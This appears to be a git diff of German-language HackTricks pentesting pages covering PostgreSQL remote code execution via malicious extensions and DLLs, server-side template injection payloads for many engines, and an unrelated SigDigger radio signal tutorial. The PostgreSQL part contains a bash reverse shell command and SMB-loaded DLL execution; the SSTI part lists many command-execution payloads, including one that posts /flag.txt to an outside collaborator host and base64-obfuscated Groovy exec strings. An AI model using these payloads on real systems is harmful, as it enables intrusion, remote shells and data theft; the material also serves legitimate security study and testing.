Seit der PostgreSQL-Version 8.2 wurde der Prozess für einen Angreifer, das System auszunutzen, erschwert. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
#### Bibliothek kompilieren
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
Sie können diese **Bibliothek vorcompiliert** für mehrere verschiedene PostgreSQL-Versionen finden und sogar **diesen Prozess automatisieren** (wenn Sie PostgreSQL-Zugriff haben) mit:
Sie können diese **Bibliothek vorcompiliert** für mehrere verschiedene PostgreSQL-Versionen finden und sogar **diesen Prozess automatisieren** (wenn Sie Zugriff auf PostgreSQL haben) mit:
{{#ref}}
https://github.com/Dionach/pgexec
@ -166,9 +166,11 @@ PG_RETURN_VOID();
```
Sie können die kompilierte DLL in diesem Zip finden:
{% file src="../../../images/pgsql_exec.zip" %}
{{#file}}
pgsql_exec.zip
{{#endfile}}
Sie können dieser DLL **angeben, welches Binary ausgeführt werden soll** und wie oft es ausgeführt werden soll, in diesem Beispiel wird `calc.exe` 2 Mal ausgeführt:
Sie können dieser DLL **angeben, welches Binary ausgeführt werden soll** und wie oft es ausgeführt werden soll. In diesem Beispiel wird `calc.exe` 2 Mal ausgeführt:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
@ -252,7 +254,7 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Beachten Sie, dass in diesem Fall der **schadhafte Code sich innerhalb der DllMain-Funktion befindet**. Das bedeutet, dass in diesem Fall die Ausführung der geladenen Funktion in PostgreSQL nicht erforderlich ist, sondern dass **das Laden der DLL** die **Reverse-Shell** ausführen wird:
Beachten Sie, dass in diesem Fall der **bösartige Code sich innerhalb der DllMain-Funktion** befindet. Das bedeutet, dass in diesem Fall nicht notwendig ist, die geladene Funktion in postgresql auszuführen, sondern nur **das Laden der DLL** wird die **Reverse Shell** **ausführen**:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
@ -260,7 +262,7 @@ Das [PolyUDF-Projekt](https://github.com/rop-la/PolyUDF) ist ebenfalls ein guter
### RCE in den neuesten PostgreSQL-Versionen
In den **neuesten Versionen** von PostgreSQL wurden Einschränkungen eingeführt, bei denen der `superuser` **verboten** ist, Shared Library-Dateien außer aus bestimmten Verzeichnissen zu **laden**, wie z.B. `C:\Program Files\PostgreSQL\11\lib` unter Windows oder `/var/lib/postgresql/11/lib` auf \*nix-Systemen. Diese Verzeichnisse sind **gegen Schreiboperationen** durch entweder die NETWORK_SERVICE- oder postgres-Konten **gesichert**.
In den **neuesten Versionen** von PostgreSQL wurden Einschränkungen eingeführt, bei denen der `superuser` **verboten** ist, Shared Library-Dateien außer aus bestimmten Verzeichnissen zu **laden**, wie z.B. `C:\Program Files\PostgreSQL\11\lib` unter Windows oder `/var/lib/postgresql/11/lib` auf \*nix-Systemen. Diese Verzeichnisse sind **gegen Schreiboperationen** durch entweder das NETWORK_SERVICE- oder das postgres-Konto **gesichert**.
Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-`superuser` möglich, **binäre Dateien** im Dateisystem mithilfe von "Large Objects" zu **schreiben**. Diese Fähigkeit erstreckt sich auf das Schreiben im Verzeichnis `C:\Program Files\PostgreSQL\11\data`, das für Datenbankoperationen wie das Aktualisieren oder Erstellen von Tabellen unerlässlich ist.
@ -282,7 +284,7 @@ select connect_back('192.168.100.54', 1234);
_Beachten Sie, dass Sie die `.dll`-Erweiterung nicht anhängen müssen, da die Funktion create sie hinzufügen wird._
Für weitere Informationen **lesen Sie die** [**ursprüngliche Veröffentlichung hier**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In dieser Veröffentlichung **wurde dieser** [**Code verwendet, um die Postgres-Erweiterung zu generieren**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen_).\
In dieser Veröffentlichung **wurde der** [**Code verwendet, um die Postgres-Erweiterung zu generieren**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen_).\
Auf derselben Seite wurde dieser **Exploit zur Automatisierung** dieser Technik bereitgestellt:
```python
#!/usr/bin/env python3

View File

@ -4,30 +4,30 @@
## Was ist SSTI (Server-Side Template Injection)
Server-Side Template Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Server-seitige Template-Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Lassen Sie uns ein Beispiel betrachten, das einen anfälligen Code-Snippet mit Jinja demonstriert:
```python
output = template.render(name=request.args.get('name'))
```
In diesem anfälligen Code wird der `name`-Parameter aus der Benutzeranfrage direkt mit der `render`-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den `name`-Parameter einzuschleusen, was zu einer serverseitigen Template-Injection führt.
In diesem anfälligen Code wird der `name`-Parameter aus der Benutzeranfrage direkt über die `render`-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den `name`-Parameter einzuschleusen, was zu einer serverseitigen Template-Injection führt.
Zum Beispiel könnte ein Angreifer eine Anfrage mit einem Payload wie diesem erstellen:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Der Payload `{{bad-stuff-here}}` wird in den `name`-Parameter injiziert. Dieser Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Die Payload `{{bad-stuff-here}}` wird in den Parameter `name` injiziert. Diese Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern.
### Erkennung
Um Server-Side Template Injection (SSTI) zu erkennen, ist es zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu diesem speziellen Payload. Anzeichen für Schwachstellen sind:
Um Server-Side Template Injection (SSTI) zu erkennen, ist zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu dieser speziellen Payload. Anzeichen für Schwachstellen sind:
- Ausgeworfene Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren.
- Abwesenheit des Payloads in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server ihn anders verarbeitet als reguläre Daten.
- **Klartext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}`, `${7*7}`).
- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel, das Ändern von `greeting` in `http://vulnerable-website.com/?greeting=data.username`, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
- Ausgelöste Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren.
- Abwesenheit der Payload in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
- **Plaintext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}`, `${7*7}`).
- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel, indem `greeting` in `http://vulnerable-website.com/?greeting=data.username` geändert wird, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
#### Identifizierungsphase
@ -37,9 +37,9 @@ Die Identifizierung der Template-Engine erfolgt durch die Analyse von Fehlermeld
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
- Weitere Informationen in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
- Weitere Informationen unter [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Tools
## Werkzeuge
### [TInjA](https://github.com/Hackmanit/TInjA)
@ -169,7 +169,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird _expression inlining_ für andere Template-Standorte unterstützt, wobei Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte eine einfache SSTI-Testpayload wie `[[${7*7}]]` aussehen.
Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird _expression inlining_ für andere Template-Standorte unterstützt, wobei Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte eine einfache SSTI-Testlast wie `[[${7*7}]]` aussehen.
Die Wahrscheinlichkeit, dass diese Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist.
@ -184,7 +184,7 @@ Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift:
Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben unsachgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -261,7 +261,7 @@ Alte Version von Pebble ( < Version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Neue Version von Pebble :
Neue Version von Pebble:
```java
{% raw %}
{% set cmd = 'id' %}
@ -319,7 +319,7 @@ Behoben durch [https://github.com/HubSpot/jinjava/pull/230](https://github.com/H
- `{{request.getClass()}}` - Klasse com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdecken Sie das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/).
Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckte das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
@ -364,7 +364,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Expression Language - EL (Java)
### Ausdruckssprache - EL (Java)
- `${"aaaa"}` - "aaaa"
- `${99999+1}` - 100000.
@ -372,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Expression Language (EL) ist ein grundlegendes Feature, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
Die Ausdruckssprache (EL) ist ein grundlegendes Merkmal, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
- **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und -Aktionen zu verbinden.
- **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, was es einfacher macht, Seitenelemente mit den Anwendungsdaten zu verbinden.
@ -386,7 +386,7 @@ el-expression-language.md
### Groovy (Java)
Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**Bericht**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@ -411,7 +411,7 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### Andere Java
### Other Java
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
@ -476,7 +476,7 @@ array("first_name" => $user.first_name)
```
**Mehr Informationen**
- Im Twig und Twig (Sandboxed) Abschnitt von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- Im Abschnitt Twig und Twig (Sandboxed) von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
@ -841,7 +841,7 @@ Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführ
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Template-Format**
**Jinja2 - Vorlagenformat**
```python
{% raw %}
{% extends "layout.html" %}
@ -942,23 +942,23 @@ Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
Im Template-Engine von Go kann die Bestätigung seiner Verwendung mit spezifischen Payloads erfolgen:
- `{{ . }}`: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem `Password`-Attribut übergeben wird, könnte `{{ .Password }}` es offenbaren.
- `{{ . }}`: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem Attribut `Password` übergeben wird, könnte `{{ .Password }}` es offenbaren.
- `{{printf "%s" "ssti" }}`: Sollte den String "ssti" anzeigen.
- `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden.
- `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Anweisungen können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden.
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Exploitation**
Mit dem `text/template`-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template`-Paket die Antwort, um dies zu verhindern (z.B. ergibt `{{"<script>alert(1)</script>"}}` `&lt;script&gt;alert(1)&lt;/script&gt;`). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Mit dem `text/template`-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template`-Paket die Antwort, um dies zu verhindern (z. B. ergibt `{{"<script>alert(1)</script>"}}` `&lt;script&gt;alert(1)&lt;/script&gt;`). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Exploitation**
Die RCE-Exploitation unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was im `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/).
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was im `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/).
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine `System`-Methode hat, die Befehle ausführt, kann es wie `{{ .System "ls" }}` ausgenutzt werden. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine `System`-Methode hat, die Befehle ausführt, kann es wie folgt ausgenutzt werden: `{{ .System "ls" }}`. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -976,14 +976,16 @@ return string(out)
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
{{#file}}
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
## Verwandte Hilfe
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
- [Flask-Tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python-Magie-Funktionen](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
## Werkzeuge
@ -992,13 +994,13 @@ Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## Brute-Force-Erkennungsliste
## Brute-Force Erkennungs-Liste
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## Übung & Referenzen
## Praxis & Referenzen
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)

View File

@ -4,11 +4,11 @@
## SigDigger
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ist ein kostenloser digitaler Signalanalysator für GNU/Linux und macOS, der entwickelt wurde, um Informationen aus unbekannten Funksignalen zu extrahieren. Es unterstützt eine Vielzahl von SDR-Geräten über SoapySDR und ermöglicht eine anpassbare Demodulation von FSK-, PSK- und ASK-Signalen, dekodiert analoges Video, analysiert burstige Signale und hört analoge Sprachkanäle (alles in Echtzeit).
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ist ein kostenloser digitaler Signalanalysator für GNU/Linux und macOS, der entwickelt wurde, um Informationen aus unbekannten Funksignalen zu extrahieren. Es unterstützt eine Vielzahl von SDR-Geräten über SoapySDR und ermöglicht eine anpassbare Demodulation von FSK-, PSK- und ASK-Signalen, dekodiert analoge Videos, analysiert burstige Signale und hört analoge Sprachkanäle (alles in Echtzeit).
### Grundkonfiguration
Nach der Installation gibt es einige Dinge, die Sie in Betracht ziehen könnten, zu konfigurieren.\
Nach der Installation gibt es einige Dinge, die Sie in Betracht ziehen könnten zu konfigurieren.\
In den Einstellungen (der zweite Tab-Button) können Sie das **SDR-Gerät** auswählen oder **eine Datei auswählen**, um zu lesen, welche Frequenz syntonisiert werden soll und die Abtastrate (empfohlen bis zu 2,56 Msps, wenn Ihr PC dies unterstützt)\\
![](<../../images/image (245).png>)
@ -26,7 +26,7 @@ Im GUI-Verhalten wird empfohlen, einige Dinge zu aktivieren, wenn Ihr PC dies un
![](<../../images/image (960).png>)
- Der **Tuner** von SigDigger hilft, **bessere Signale zu erfassen** (aber er kann sie auch verschlechtern). Idealerweise beginnen Sie mit 0 und erhöhen **es, bis** Sie feststellen, dass das **Rauschen**, das eingeführt wird, **größer** ist als die **Verbesserung des Signals**, die Sie benötigen.
- Der **Tuner** von SigDigger hilft, **bessere Signale zu erfassen** (kann sie aber auch verschlechtern). Idealerweise beginnen Sie mit 0 und erhöhen **es, bis** Sie feststellen, dass das **Rauschen**, das eingeführt wird, **größer** ist als die **Verbesserung des Signals**, die Sie benötigen.
![](<../../images/image (1099).png>)
@ -60,13 +60,15 @@ Wenn Sie ein Signal überprüfen, gibt es verschiedene Möglichkeiten, um heraus
- Beachten Sie, dass, wenn die Informationen im Faktum verborgen sind, dass eine Phase geändert wird und nicht in der Phase selbst, Sie keine klar differenzierten Phasen sehen werden.
- **FM erkennen**: IQ hat kein Feld zur Identifizierung von Frequenzen (Abstand zum Zentrum ist Amplitude und Winkel ist Phase).\
Daher sollten Sie zur Identifizierung von FM **grundsätzlich nur einen Kreis** in diesem Diagramm sehen.\
Darüber hinaus wird eine andere Frequenz im IQ-Diagramm durch eine **Geschwindigkeitsbeschleunigung über den Kreis** "repräsentiert" (wenn Sie in SysDigger das Signal auswählen, wird das IQ-Diagramm gefüllt; wenn Sie eine Beschleunigung oder Richtungsänderung im erzeugten Kreis finden, könnte das bedeuten, dass es sich um FM handelt):
Darüber hinaus wird eine andere Frequenz im IQ-Diagramm durch eine **Geschwindigkeitsbeschleunigung über den Kreis** "dargestellt" (wenn Sie in SysDigger das Signal auswählen, wird das IQ-Diagramm gefüllt; wenn Sie eine Beschleunigung oder Richtungsänderung im erzeugten Kreis finden, könnte das bedeuten, dass es sich um FM handelt):
## AM-Beispiel
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Aufdecken von AM
### AM aufdecken
#### Überprüfung der Hüllkurve
@ -92,7 +94,7 @@ Wenn Sie viele Frequenzen finden, wird dies wahrscheinlich kein FM sein; wahrsch
#### Mit IQ
In diesem Beispiel können Sie sehen, wie es einen **großen Kreis** gibt, aber auch **viele Punkte im Zentrum**.
In diesem Beispiel sehen Sie, wie es einen **großen Kreis** gibt, aber auch **viele Punkte im Zentrum**.
![](<../../images/image (222).png>)
@ -100,32 +102,32 @@ In diesem Beispiel können Sie sehen, wie es einen **großen Kreis** gibt, aber
#### Mit einem Symbol
Wählen Sie das kleinste Symbol aus, das Sie finden können (damit Sie sicher sind, dass es nur 1 ist), und überprüfen Sie die "Auswahlfreq". In diesem Fall wäre es 1,013 kHz (also 1 kHz).
Wählen Sie das kleinste Symbol aus, das Sie finden können (damit Sie sicher sind, dass es nur 1 ist), und überprüfen Sie die "Auswahlfrequenz". In diesem Fall wäre es 1,013 kHz (also 1 kHz).
![](<../../images/image (78).png>)
#### Mit einer Gruppe von Symbolen
Sie können auch die Anzahl der Symbole angeben, die Sie auswählen möchten, und SigDigger wird die Frequenz von 1 Symbol berechnen (je mehr ausgewählte Symbole, desto besser wahrscheinlich). In diesem Szenario habe ich 10 Symbole ausgewählt und die "Auswahlfreq" beträgt 1,004 kHz:
Sie können auch die Anzahl der Symbole angeben, die Sie auswählen möchten, und SigDigger wird die Frequenz von 1 Symbol berechnen (je mehr ausgewählte Symbole, desto besser wahrscheinlich). In diesem Szenario habe ich 10 Symbole ausgewählt und die "Auswahlfrequenz" beträgt 1,004 kHz:
![](<../../images/image (1008).png>)
### Bits erhalten
Nachdem Sie festgestellt haben, dass es sich um ein **AM-moduliertes** Signal handelt und die **Symbolrate** (und wissen, dass in diesem Fall etwas up eine 1 und etwas down eine 0 bedeutet), ist es sehr einfach, die **Bits** zu **erhalten**, die im Signal codiert sind. Wählen Sie also das Signal mit Informationen aus und konfigurieren Sie die Abtastung und Entscheidung und drücken Sie auf Abtasten (stellen Sie sicher, dass **Amplitude** ausgewählt ist, die entdeckte **Symbolrate** konfiguriert ist und die **Gadner-Uhrensynchronisation** ausgewählt ist):
Nachdem Sie festgestellt haben, dass es sich um ein **AM-moduliertes** Signal handelt und die **Symbolrate** (und wissend, dass in diesem Fall etwas up 1 und etwas down 0 bedeutet), ist es sehr einfach, die **Bits** zu **erhalten**, die im Signal codiert sind. Wählen Sie also das Signal mit Informationen aus und konfigurieren Sie die Abtastung und Entscheidung und drücken Sie auf Abtasten (stellen Sie sicher, dass **Amplitude** ausgewählt ist, die entdeckte **Symbolrate** konfiguriert ist und die **Gadner-Uhrensynchronisation** ausgewählt ist):
![](<../../images/image (965).png>)
- **Sync zu Auswahlintervallen** bedeutet, dass, wenn Sie zuvor Intervalle ausgewählt haben, um die Symbolrate zu finden, diese Symbolrate verwendet wird.
- **Manuell** bedeutet, dass die angegebene Symbolrate verwendet wird.
- Bei **Festintervallauswahl** geben Sie die Anzahl der Intervalle an, die ausgewählt werden sollen, und es berechnet die Symbolrate daraus.
- In **Festintervallauswahl** geben Sie die Anzahl der Intervalle an, die ausgewählt werden sollen, und es berechnet die Symbolrate daraus.
- **Gadner-Uhrensynchronisation** ist normalerweise die beste Option, aber Sie müssen immer noch eine ungefähre Symbolrate angeben.
Wenn Sie auf Abtasten drücken, erscheint dies:
![](<../../images/image (644).png>)
Um SigDigger zu verstehen, **wo der Bereich** des Niveaus liegt, das Informationen trägt, müssen Sie auf das **untere Niveau** klicken und gedrückt halten, bis das größte Niveau erreicht ist:
Jetzt, um SigDigger zu verstehen, **wo der Bereich** des Niveaus liegt, das Informationen trägt, müssen Sie auf das **untere Niveau** klicken und gedrückt halten, bis das größte Niveau erreicht ist:
![](<../../images/image (439).png>)
